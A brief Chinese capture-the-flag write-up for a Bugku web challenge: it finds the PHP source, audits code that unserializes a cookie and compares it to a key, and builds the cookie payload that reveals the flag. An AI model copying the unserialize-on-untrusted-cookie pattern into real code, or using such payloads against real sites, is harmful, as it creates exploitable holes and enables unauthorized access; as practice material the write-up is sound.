0、打开网页,查看源代码
在CSS文件中发现提示信息:/* try ?19492 */
1、访问?19492,查看PHP源代码
2、代码审计
<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['19492'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
$KEY='ctf.bugku.com'; 将ctf.bugku.com赋值给变量KEY
$cookie = $_COOKIE['BUGKU']; 以cookie方式接收变量BUGKU,赋值给变量cookie
elseif (unserialize($cookie) === "$KEY") 如果cookie反序列化之后的结果与变量KEY相等,即unserialize($cookie) === "ctf.bugku.com",
{
echo "$flag"; 则输出flag
}
3、构造payload
只需序列化ctf.bugku.com即可
BUGKU=s:13:"ctf.bugku.com";
最终payload:BUGKU=s:13:"ctf.bugku.com"
4、上传payload,这里有两种方法
(1)使用hackbar上传
(2)使用BurpSuite抓包后上传